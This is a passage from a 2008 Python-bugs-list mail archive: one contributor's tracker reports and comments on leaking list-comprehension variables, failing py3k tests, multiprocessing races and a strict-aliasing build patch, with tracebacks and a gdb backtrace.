Python/ceval.c:2743
#8  0x0002b055 in function_call (func=0x54cd68, arg=0x5eb6d0, 
kw=0x5ecb70) at Objects/funcobject.c:628
#9  0x8229 in PyObject_Call (func=0x54cd68, arg=0x5eb6d0, 
kw=0x5ecb70) at Objects/abstract.c:2184
#10 0x0009d418 in PyEval_EvalFrameEx (f=0x260c00, throwflag=0) at 
Python/ceval.c:3749
#11 0x000a1133 in PyEval_EvalCodeEx (co=0x3d53c8, globals=0x3c60c0, 
locals=0x0, args=0x5eb6bc, argcount=1, kws=0x0, kwcount=0, defs=0x0, 
defcount=0, kwdefs=0x0, closure=0x0) at Python/ceval.c:2743
#12 0x0002b055 in function_call (func=0x5321e0, arg=0x5eb6b0, kw=0x0) at 
Objects/funcobject.c:628
#13 0x8229 in PyObject_Call (func=0x5321e0, arg=0x5eb6b0, kw=0x0) at 
Objects/abstract.c:2184
#14 0x0001715e in method_call (func=0x5321e0, arg=0x1ac030, kw=0x0) at 
Objects/classobject.c:323
#15 0x8229 in PyObject_Call (func=0x5230a8, arg=0x1ac030, kw=0x0) at 
Objects/abstract.c:2184
#16 0x000579c7 in slot_tp_init (self=0x0, args=0x1ac030, kwds=0x0) at 
Objects/typeobject.c:5187
#17 0x00053be2 in type_call (type=0x24f8f0, args=0x1ac030, kwds=0x0) at 
Objects/typeobject.c:651
#18 0x8229 in PyObject_Call (func=0x24f8f0, arg=0x1ac030, kw=0x0) at 
Objects/abstract.c:2184
#19 0x0009e9f4 in  [inlined] () at :0
#20 0x0009e9f4 in PyEval_EvalFrameEx (f=0x260a90, throwflag=0) at 
Python/ceval.c:0
#21 0x000a1133 in PyEval_EvalCodeEx (co=0x3cfb60, globals=0x3c60c0, 
locals=0x0, args=0x2608e4, argcount=1, kws=0x2608e8, kwcount=0, 
defs=0x3cbeec, defcount=2, kwdefs=0x0, closure=0x0) at 
Python/ceval.c:2743
#22 0x0009f874 in  [inlined] () at :0
#23 0x0009f874 in PyEval_EvalFrameEx (f=0x2607a0, throwflag=0) at 
Python/ceval.c:0
#24 0x0009ffc8 in PyEval_EvalFrameEx (f=0x25f3d0, throwflag=0) at 
Python/ceval.c:3536
#25 0x000a1133 in PyEval_EvalCodeEx (co=0x538848, globals=0x5330c0, 
locals=0x0, args=0x5de67c, argcount=2, kws=0x258880, kwcount=0, 
defs=0x5b569c, defcount=1, kwdefs=0x0, closure=0x0) at 
Python/ceval.c:2743
#26 0x0002b055 in function_call (func=0x5b68e8, arg=0x5de670, 
kw=0x5ec930) at Objects/funcobject.c:628
#27 0x8229 in PyObject_Call (func=0x5b68e8, arg=0x5de670, 
kw=0x5ec930) at Objects/abstract.c:2184
#28 0x0009d418 in PyEval_EvalFrameEx (f=0x25f260, throwflag=0) at 
Python/ceval.c:3749
#29 0x000a1133 in PyEval_EvalCodeEx (co=0x538890, globals=0x5330c0, 
locals=0x0, args=0x5dedfc, argcount=2, kws=0x0, kwcount=0, defs=0x0, 
defcount=0, kwdefs=0x0, closure=0x0) at Python/ceval.c:2743
#30 0x0002b055 in function_call (func=0x5b6930, arg=0x5dedf0, kw=0x0) at 
Objects/funcobject.c:628
#31 0x8229 in PyObject_Call (func=0x5b6930, arg=0x5dedf0, kw=0x0) at 
Objects/abstract.c:2184
#32 0x0001715e in method_call (func=0x5b6930, arg=0x5eb650, kw=0x0) at 
Objects/classobject.c:323
#33 0x8229 in PyObject_Call (func=0x523198, arg=0x5eb650, kw=0x0) at 
Objects/abstract.c:2184
#34 0x00057d97 in slot_tp_call (self=0x0, args=0x5eb650, kwds=0x0) at 
Objects/typeobject.c:4960
#35 0x8229 in PyObject_Call (func=0x5e3e50, arg=0x5eb650, kw=0x0) at 
Objects/abstract.c:2184
#36 0x0009e9f4 in  [inlined] () at :0
#37 0x0009e9f4 in PyEval_EvalFrameEx (f=0x25f0f0, throwflag=0) at 
Python/ceval.c:0
#38 0x000a1133 in PyEval_EvalCodeEx (co=0x538f50, globals=0x5330c0, 
locals=0x0, args=0x5de6a4, argcount=2, kws=0x258870, kwcount=0, 
defs=0x0, defcount=0, kwdefs=0x0, closure=0x0) at Python/ceval.c:2743
#39 0x0002b055 in function_call (func=0x5b6e88, arg=0x5de698, 
kw=0x5ec8a0) at Objects/funcobject.c:628
#40 0x8229 in PyObject_Call (func=0x5b6e88, arg=0x5de698, 
kw=0x5ec8a0) at Objects/abstract.c:2184
#41 0x0009d418 in PyEval_EvalFrameEx (f=0x25ef80, throwflag=0) at 
Python/ceval.c:3749
#42 0x000a1133 in PyEval_EvalCodeEx (co=0x538f98, globals=0x5330c0, 
locals=0x0, args=0x5de744, argcount=2, kws=0x0, kwcount=0, defs=0x0, 
defcount=0, kwdefs=0x0, closure=0x0) at Python/ceval.c

[issue2952] List comprehensions are leaking variables

2008-05-23 Thread Ismail Donmez

New submission from Ismail Donmez <[EMAIL PROTECTED]>:

Originally found at 
http://www.randombit.net/weblog/programming/variable_leak_in_list_compre
hensions.html

First example :

[~]> python
Python 2.5.1 (r251:54863, Jan 17 2008, 19:35:17) 
[GCC 4.0.1 (Apple Inc. build 5465)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> x=1
>>> [x for x in [1,2,3]]
[1, 2, 3]
>>> x
3

whoops x changed.

Another example from original post:

$ python
Python 2.4.4 (#1, Mar  7 2008, 14:54:19)
[GCC 4.1.2 (Gentoo 4.1.2 p1.0.2)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> x = { 1:2, 3:4 }
>>> nothere
Traceback (most recent call last):
  File "", line 1, in ?
NameError: name 'nothere' is not defined
>>> [nothere for nothere in x.keys()]
[1, 3]
>>> nothere
3

This bug doesn't seem to affect py3k but it does python 2.4/2.5. Either 
this should be fixed or documented as a caveat.

--
components: Library (Lib)
messages: 67261
nosy: cartman
severity: normal
status: open
title: List comprehensions are leaking variables
versions: Python 2.5

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue2952>
__
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue2952] List comprehensions are leaking variables

2008-05-23 Thread Ismail Donmez

Changes by Ismail Donmez <[EMAIL PROTECTED]>:


--
components: +Interpreter Core -Library (Lib)
type:  -> behavior

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue2952>
__
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue2952] List comprehensions are leaking variables

2008-05-23 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

But it only mentions python 2.3, time to update the footnote.

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue2952>
__
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue2967] [PATCH] Rename Tkinter to tkinter in test_tcl

2008-05-25 Thread Ismail Donmez

Changes by Ismail Donmez <[EMAIL PROTECTED]>:


--
type:  -> compile error

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue2967>
__
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue2967] [PATCH] Rename Tkinter to tkinter in test_tcl

2008-05-25 Thread Ismail Donmez

New submission from Ismail Donmez <[EMAIL PROTECTED]>:

Tkinter module is renamed to tkinter. test_tcl should be updated for this. 
Patch attached.

--
components: Tests
files: tcl.patch
keywords: patch
messages: 67341
nosy: cartman
severity: normal
status: open
title: [PATCH] Rename Tkinter to tkinter in test_tcl
versions: Python 3.0
Added file: http://bugs.python.org/file10436/tcl.patch

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue2967>
__
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue2970] test_distutils fails on Linux

2008-05-25 Thread Ismail Donmez

New submission from Ismail Donmez <[EMAIL PROTECTED]>:

This is on Ubuntu 8.04 :

test_distutils
Using PyPI login from /home/cartman/Sources/py3k/Lib/distutils/tests/.pypirc
Using PyPI login from /home/cartman/Sources/py3k/Lib/distutils/tests/.pypirc
Using PyPI login from /home/cartman/Sources/py3k/Lib/distutils/tests/.pypirc
test test_distutils produced unexpected output:
**
*** lines 2-3 of actual output doesn't appear in expected output after
line 1:
+ Using PyPI login from
/home/cartman/Sources/py3k/Lib/distutils/tests/.pypirc
+ Using PyPI login from
/home/cartman/Sources/py3k/Lib/distutils/tests/.pypirc
**


Same test passes on Darwin and outputs 5 lines so it might be a bug in
the expected output instead.

--
components: Tests
messages: 67364
nosy: cartman
severity: normal
status: open
title: test_distutils fails on Linux
type: behavior
versions: Python 3.0

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue2970>
__
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue2971] test_zipfile64 fails

2008-05-25 Thread Ismail Donmez

New submission from Ismail Donmez <[EMAIL PROTECTED]>:

test_zipfile64
testDeflated (test.test_zipfile64.TestsWithSourceFile) ... ERROR
testStored (test.test_zipfile64.TestsWithSourceFile) ... ERROR

==
ERROR: testDeflated (test.test_zipfile64.TestsWithSourceFile)
--
Traceback (most recent call last):
  File "/home/cartman/Sources/py3k/Lib/test/test_zipfile64.py", line 41,
in setUp
fp.write(self.data)
  File "/home/cartman/Sources/py3k/Lib/io.py", line 987, in write
raise TypeError("can't write str to binary stream")
TypeError: can't write str to binary stream

==
ERROR: testStored (test.test_zipfile64.TestsWithSourceFile)
--
Traceback (most recent call last):
  File "/home/cartman/Sources/py3k/Lib/test/test_zipfile64.py", line 41,
in setUp
fp.write(self.data)
  File "/home/cartman/Sources/py3k/Lib/io.py", line 987, in write
raise TypeError("can't write str to binary stream")
TypeError: can't write str to binary stream

--
Ran 2 tests in 2.151s

FAILED (errors=2)
test test_zipfile64 failed -- errors occurred; run in verbose mode for
details
'test_zipfile64' left behind file '@test'
1 test failed:
test_zipfile64

--
components: Tests
messages: 67365
nosy: cartman
severity: normal
status: open
title: test_zipfile64 fails
type: behavior
versions: Python 3.0

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue2971>
__
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue2984] test_dbm fails on Darwin

2008-05-27 Thread Ismail Donmez

New submission from Ismail Donmez <[EMAIL PROTECTED]>:

test test_dbm failed -- Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/test/test_dbm.py", line 121, in 
test_whichdb
self.assertEqual(name, dbm.whichdb(_fname))
AssertionError: 'dbm.gnu' != 'dbm.ndbm'

This happened after the dbm unification that happened due to stdlib re-
organization.

--
components: Tests
messages: 67423
nosy: cartman
severity: normal
status: open
title: test_dbm fails on Darwin
type: behavior
versions: Python 3.0

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue2984>
__
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue2984] test_dbm fails on Darwin

2008-05-28 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

Works fine in trunk now. This bug can be closed, thanks.

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue2984>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3076] xml_rpc_net fails on Darwin

2008-06-10 Thread Ismail Donmez

New submission from Ismail Donmez <[EMAIL PROTECTED]>:

Latest py3k branch,

test_xmlrpc_net
test test_xmlrpc_net failed -- Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/test/test_xmlrpc_net.py", line 
18, in test_current_time
t0 = server.currentTime.getCurrentTime()
  File "/Users/cartman/Sources/py3k/Lib/xmlrpc/client.py", line 1095, in 
__call__
return self.__send(self.__name, args)
  File "/Users/cartman/Sources/py3k/Lib/xmlrpc/client.py", line 1353, in 
__request
verbose=self.__verbose
  File "/Users/cartman/Sources/py3k/Lib/xmlrpc/client.py", line 1136, in 
request
return self._parse_response(resp, None)
  File "/Users/cartman/Sources/py3k/Lib/xmlrpc/client.py", line 1246, in 
_parse_response
p.feed(response)
  File "/Users/cartman/Sources/py3k/Lib/xmlrpc/client.py", line 516, in 
feed
self._parser.Parse(data, 0)
xml.parsers.expat.ExpatError: mismatched tag: line 10, column 7

This is MacOSX Leopard 10.5.3

--
components: Tests
messages: 67918
nosy: cartman
severity: normal
status: open
title: xml_rpc_net fails on Darwin
type: behavior
versions: Python 3.0

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3076>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3076] test_xmlrpc_net fails on Darwin

2008-06-10 Thread Ismail Donmez

Changes by Ismail Donmez <[EMAIL PROTECTED]>:


--
title: xml_rpc_net fails on Darwin -> test_xmlrpc_net fails on Darwin

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3076>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3076] test_xmlrpc_net fails on Darwin

2008-06-10 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

It is a python bug, test should use a better web page then.

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3076>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3088] test_multiprocessing hangs on OS X 10.5.3

2008-06-11 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

I can confirm this on Leopard too.

--
nosy: +cartman

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3088>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3088] test_multiprocessing hangs on OS X 10.5.3

2008-06-13 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

Seems to work fine for me now with latest py3k branch.

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3088>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3121] test_urllibnet fails

2008-06-16 Thread Ismail Donmez

New submission from Ismail Donmez <[EMAIL PROTECTED]>:

This is on Linux with latest py3k branch:

test test_urllibnet failed -- Traceback (most recent call last):
  File "/home/cartman/Sources/py3k/Lib/test/test_urllibnet.py", line
145, in test_bad_address
urllib.urlopen, "http://www.python.invalid./";)
AssertionError: IOError not raised by urlopen

--
components: Tests
messages: 68264
nosy: cartman
severity: normal
status: open
title: test_urllibnet fails
versions: Python 3.0

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3121>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3121] test_urllibnet fails

2008-06-16 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

Just confirmed with svn revision 64322 of py3k branch.

--
type:  -> behavior

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3121>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3121] test_urllibnet fails

2008-06-19 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

Works fine in trunk now, can someone please close this bug? Thanks.

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3121>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3088] test_multiprocessing hangs on OS X 10.5.3

2008-07-03 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

The test hanged for me at first try but worked fine on the second test,
weird.

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3088>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3139] bytearrays are not thread safe

2008-07-06 Thread Ismail Donmez

Changes by Ismail Donmez <[EMAIL PROTECTED]>:


--
nosy: +cartman

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3139>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3088] test_multiprocessing hangs on OS X 10.5.3

2008-07-07 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

I managed to hang on Ubuntu, here is the backtrace that I got with CTRL-C:

Process PoolWorker-5:1:
Traceback (most recent call last):
  File "/home/cartman/Sources/py3k/Lib/multiprocessing/process.py", line
232, in _bootstrap
test_bsddb test_bsddb3 test_cProfile test_kqueue test_lib2to3
2 skips unexpected on linux2:
test_bsddb3 test_bsddb
Process PoolWorker-5:3:
Traceback (most recent call last):
  File "/home/cartman/Sources/py3k/Lib/multiprocessing/process.py", line
232, in _bootstrap
self.run()
  File "/home/cartman/Sources/py3k/Lib/multiprocessing/process.py", line
88, in run
self._target(*self._args, **self._kwargs)
  File "/home/cartman/Sources/py3k/Lib/multiprocessing/pool.py", line
57, in worker
self.run()
  File "/home/cartman/Sources/py3k/Lib/multiprocessing/process.py", line
88, in run
self._target(*self._args, **self._kwargs)
  File "/home/cartman/Sources/py3k/Lib/multiprocessing/pool.py", line
57, in worker
task = get()
  File "/home/cartman/Sources/py3k/Lib/multiprocessing/queues.py", line
339, in get
task = get()
  File "/home/cartman/Sources/py3k/Lib/multiprocessing/queues.py", line
337, in get
return recv()
  File "/home/cartman/Sources/py3k/Lib/pickle.py", line 1327, in loads
racquire()
KeyboardInterrupt
Process PoolWorker-5:2:
Traceback (most recent call last):
  File "/home/cartman/Sources/py3k/Lib/multiprocessing/process.py", line
232, in _bootstrap
self.run()
  File "/home/cartman/Sources/py3k/Lib/multiprocessing/process.py", line
88, in run
self._target(*self._args, **self._kwargs)
  File "/home/cartman/Sources/py3k/Lib/multiprocessing/pool.py", line
57, in worker
def loads(s, *, encoding="ASCII", errors="strict"):
KeyboardInterrupt
Process PoolWorker-5:4:
Traceback (most recent call last):
  File "/home/cartman/Sources/py3k/Lib/multiprocessing/process.py", line
232, in _bootstrap
self.run()
  File "/home/cartman/Sources/py3k/Lib/multiprocessing/process.py", line
88, in run
self._target(*self._args, **self._kwargs)
  File "/home/cartman/Sources/py3k/Lib/multiprocessing/pool.py", line
57, in worker
task = get()
  File "/home/cartman/Sources/py3k/Lib/multiprocessing/queues.py", line
337, in get
racquire()
KeyboardInterrupt
task = get()
  File "/home/cartman/Sources/py3k/Lib/multiprocessing/queues.py", line
337, in get
racquire()
KeyboardInterrupt
^CError in atexit._run_exitfuncs:
make: *** [testall] Segmentation fault

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3088>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3326] py3k shouldn't use -fno-strict-aliasing anymore

2008-07-09 Thread Ismail Donmez

New submission from Ismail Donmez <[EMAIL PROTECTED]>:

py3k branch is still using -fno-strict-aliasing but I tested with gcc
4.3.1 and there are no strict aliasing warnings when this flag is removed.

Attached patch for py3k branch removes this flag. After applying the
patch configure should be regenerated with autoconf.

--
components: Interpreter Core
files: strict-aliasing.patch
keywords: patch
messages: 69465
nosy: cartman
severity: normal
status: open
title: py3k shouldn't use -fno-strict-aliasing anymore
type: feature request
versions: Python 3.0
Added file: http://bugs.python.org/file10868/strict-aliasing.patch

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3326>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3346] test_ossaudiodev fails

2008-07-12 Thread Ismail Donmez

New submission from Ismail Donmez <[EMAIL PROTECTED]>:

This is a rather new regression:

test_ossaudiodev
test test_ossaudiodev failed -- Traceback (most recent call last):
  File "/home/cartman/Sources/py3k/Lib/test/test_ossaudiodev.py", line
146, in test_playback
self.play_sound_file(*sound_info)
  File "/home/cartman/Sources/py3k/Lib/test/test_ossaudiodev.py", line
66, in play_sound_file
setattr(dsp, attr, 42)
AttributeError: 'ossaudiodev.oss_audio_device' object has no attribute
'closed'

--
components: Tests
messages: 69582
nosy: cartman
severity: normal
status: open
title: test_ossaudiodev fails
versions: Python 3.0

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3346>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3326] py3k shouldn't use -fno-strict-aliasing anymore

2008-07-13 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

Wow thats no good, I will test with -fstrict-aliasing to be sure, if there 
are such problems still we should start with fixing those towards 3.1 .

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3326>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3346] test_ossaudiodev fails

2008-07-13 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

Works with today's SVN, please close as invalid.

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3346>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3346] test_ossaudiodev fails

2008-07-13 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

Scratch that, it still fails in the second phase of make testall with
the same error.

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3346>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3326] py3k shouldn't use -fno-strict-aliasing anymore

2008-07-13 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

I tested with -fstrict-aliasing -O3 and there is no aliasing warning,
this is with

gcc 4.3.1
x86_64 linux

what you see might be a compiler deficiency :-/

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3326>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3346] test_ossaudiodev fails

2008-07-18 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

Works fine in beta2.

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3346>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3419] multiprocessing module is racy

2008-07-19 Thread Ismail Donmez

New submission from Ismail Donmez <[EMAIL PROTECTED]>:

Tested on MacOSX 10.5.4, running test_multiprocessing in a tight loop :

[~/Sources/py3k]> while true;do ./python ./Lib/test/regrtest.py 
test_multiprocessing;done
test_multiprocessing
1 test OK.
test_multiprocessing
1 test OK.
test_multiprocessing
1 test OK.
test_multiprocessing
Process Process-48:
Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/managers.py", 
line 720, in _callmethod
conn = self._tls.connection
AttributeError: 'ForkAwareLocal' object has no attribute 'connection'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/process.py", 
line 232, in _bootstrap
self.run()
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/process.py", 
line 88, in run
self._target(*self._args, **self._kwargs)
  File "/Users/cartman/Sources/py3k/Lib/test/test_multiprocessing.py", 
line 601, in f
cond.acquire()
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/managers.py", 
line 949, in acquire
return self._callmethod('acquire', (blocking,))
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/managers.py", 
line 724, in _callmethod
self._connect()
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/managers.py", 
line 711, in _connect
conn = self._Client(self._token.address, authkey=self._authkey)
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/connection.py", 
line 133, in Client
c = SocketClient(address)
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/connection.py", 
line 254, in SocketClient
s.connect(address)
socket.error: [Errno 61] Connection refused
Exception in thread Thread-58:
Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/managers.py", 
line 720, in _callmethod
conn = self._tls.connection
AttributeError: 'ForkAwareLocal' object has no attribute 'connection'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/threading.py", line 492, in 
_bootstrap_inner
self.run()
  File "/Users/cartman/Sources/py3k/Lib/threading.py", line 447, in run
self._target(*self._args, **self._kwargs)
  File "/Users/cartman/Sources/py3k/Lib/test/test_multiprocessing.py", 
line 601, in f
cond.acquire()
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/managers.py", 
line 949, in acquire
return self._callmethod('acquire', (blocking,))
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/managers.py", 
line 724, in _callmethod
self._connect()
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/managers.py", 
line 711, in _connect
conn = self._Client(self._token.address, authkey=self._authkey)
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/connection.py", 
line 133, in Client
c = SocketClient(address)
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/connection.py", 
line 254, in SocketClient
s.connect(address)
socket.error: [Errno 61] Connection refused

--
components: Tests
messages: 70053
nosy: cartman
severity: normal
status: open
title: multiprocessing module is racy
versions: Python 3.0

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3419>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3419] multiprocessing module is racy

2008-08-12 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

With trunk when running test_multiprocessing in a tight loop I saw 
another problem:

test_multiprocessing
Process Process-61:
Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/process.py", 
line 229, in _bootstrap
Process Process-60:
Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/process.py", 
line 229, in _bootstrap
Process Process-62:
Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/process.py", 
line 229, in _bootstrap
util._run_after_forkers()
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/util.py", line 
138, in _run_after_forkers
util._run_after_forkers()
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/util.py", line 
138, in _run_after_forkers
util._run_after_forkers()
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/util.py", line 
138, in _run_after_forkers
items = list(_afterfork_registry.items())
items = list(_afterfork_registry.items())
  File "/Users/cartman/Sources/py3k/Lib/weakref.py", line 103, in items
  File "/Users/cartman/Sources/py3k/Lib/weakref.py", line 103, in items
items = list(_afterfork_registry.items())
  File "/Users/cartman/Sources/py3k/Lib/weakref.py", line 103, in items
for key, wr in self.data.items():
RuntimeError: dictionary changed size during iteration
for key, wr in self.data.items():
RuntimeError: dictionary changed size during iteration
for key, wr in self.data.items():
RuntimeError: dictionary changed size during iteration

The original problem itself seems to be fixed, so cheers for that!

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3419>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3139] bytearrays are not thread safe

2008-08-15 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

This seems to break test_unicode on MacOSX 10.5.4,

test_unicode
python(80320,0xa0659fa0) malloc: *** mmap(size=2147483648) failed (error 
code=12)
*** error: can't allocate region
*** set a breakpoint in malloc_error_break to debug
python(80320,0xa0659fa0) malloc: *** mmap(size=2147483648) failed (error 
code=12)
*** error: can't allocate region
*** set a breakpoint in malloc_error_break to debug

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3139>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3578] 'dictionary changed size' error in test_multiprocessing

2008-08-18 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

I don't know if this is reproducible in 2.6 but I can reproduce on py3k 
branch, and also thanks for creating the bug!

--
versions: +Python 3.0 -Python 2.6

___
Python tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue3578>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue3578] 'dictionary changed size' error in test_multiprocessing

2008-08-18 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

py3k branch gives another error now, when running test_multiprocessing 
in a tight loop:

test test_multiprocessing failed -- Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/test/test_multiprocessing.py", 
line 1163, in test_remote
queue = manager2.get_queue()
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/managers.py", 
line 641, in temp
authkey=self._authkey, exposed=exp
  File "/Users/cartman/Sources/py3k/Lib/multiprocessing/managers.py", 
line 893, in AutoProxy
incref=incref)
